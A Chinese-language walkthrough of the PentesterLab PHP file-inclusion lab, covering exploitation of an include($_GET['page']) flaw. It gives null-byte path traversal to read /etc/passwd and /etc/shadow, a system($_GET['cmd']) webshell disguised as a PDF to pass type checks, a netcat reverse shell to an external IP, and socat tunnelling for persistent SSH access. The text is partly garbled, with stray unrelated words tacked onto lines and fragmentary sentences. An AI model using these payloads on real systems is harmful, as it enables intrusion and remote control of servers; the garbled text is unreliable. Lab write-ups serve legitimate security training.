本文是Pentester Lab上的PHP Include And Post Exploitation实验。实验中使用了靶机(提供的ISO),以及一台云主机(用于实现反向shell)。php
大体步骤以下:
1. 指纹识别
2. 检测和利用PHP文件包含漏洞
3. 后期利用mysql
<?php
include("header.php");
include($_GET["page"]);
?>
先尝试一个不存在的文件:web
http://phpinclude/index.php?page=pentesterlab123randomvalue
产生如下错误信息sql
Warning: include(pentesterlab123randomvalue.php): failed to open stream: No such file or directory in /var/www/index.php on line 28
Warning: include(): Failed opening 'pentesterlab123randomvalue.php' for inclusion (include_path='.:') in /var/www/index.php on line 28
其中Failed opening 'pentesterlab123randomvalue.php' for inclusion
泄露了重要的信息:Server的PHP代码会添加.php
后缀。shell
%00
)来摆脱.php
后缀。/etc/shadow
的权限,因此若是访问/etc/shadow
就会产生错误。使用下面的URL:
http://phpinclude/index.php?page=../../../../../etc/shadow%00
Warning: include(/etc/shadow): failed to open stream: Permission denied in /var/www/index.php on line 28 Warning: include(): Failed opening '../../../../../etc/shadow' for inclusion (include_path='.:') in /var/www/index.php on line 28
4
中的方法访问/etc/passwd
,能够获得该文件内容:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
使用page[]=login
会产生下面的错误:apache
Warning: include(Array.php): failed to open stream: No such file or directory in /var/www/index.php on line 28
Warning: include(): Failed opening 'Array.php' for inclusion (include_path='.:') in /var/www/index.php on line 28
使用classes/../login
,./login
,login
匹配同名的文件。ruby
classes/../login
若是classes
库不存在,Windows和Linux/Unix的处理是不一样的。http://vulnerable/index.php?page=http://www.google.com/?
测试远程文件包含,发现PHP设置禁止远程文件包含。同SQL注入(盲注和非盲注)同样,能够先尝试远程文件包含漏洞,若是不行,再尝试本地文件包含漏洞。bash
php
<?php
system($_GET["cmd"]);
?>
本地文件包含漏洞的利用服务器
/var/spool/mail
)。不是万不得已,不要注入日志。若是第一次尝试的时候,没有使用正确的PHP语法(正确的PHP代码和正确的HTTP编码),那么就必须等待日志滚动,才能进行下一次尝试。dom
验证伪造的PHP文件是否能经过文件内容类型检验
mime_content_type
函数,使用文件第一行%PDF-1.4
来肯定文件类型是否为PDF。%PDF-1.4
<?php
system($_GET["cmd"]);
php>
上传伪造的php文件lfi.pdf
http://vulnerable/index.php?page=uploads/lfi.pdf%00&cmd=uname
%00
Webshell的每一条命令具备独立的上下文,因此难以使用cd ..
的命令。为了绕过这种限制,须要获得一个**真正的**shell。
nc -lvp 2233
http://phpinclude/index.php?page=uploads/lfi.pdf%00&cmd=/bin/nc%20123.206.7.107%202233%20-e%20/bin/bash
下一步的目标是有一个真正的shell(例如,支持Ctrl+C)。
ssh-keygen -P "" -f phpinclude
攻击者上传SSH公钥
攻击者使用本地443端口接收来自目标主机的流量,并转发到本地2222端口
attacker $ sudo nohup socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr >> ~/socat.log 2>&1 &
phpinclude $ while true; do socat TCP4:XXX.XXX.XXX.XXX:443 TCP4:127.0.0.1:22 ; done
【留待补充】
这个练习展现了如何手工检测和利用一个PHP文件包含漏洞,进而执行代码。执行代码后,能够进一步获取更多信息,从而获得更多的系统访问权。
练习中的Web Server能够展现错误信息,这是一种理想状况。想要提升难度的话,能够更改PHP设置:在PHP设置(/etc/php5/apache2/php.ini
)中禁用display_errors
选项,并重启Web Server(sudo /etc/init.d/apache2 restart
)。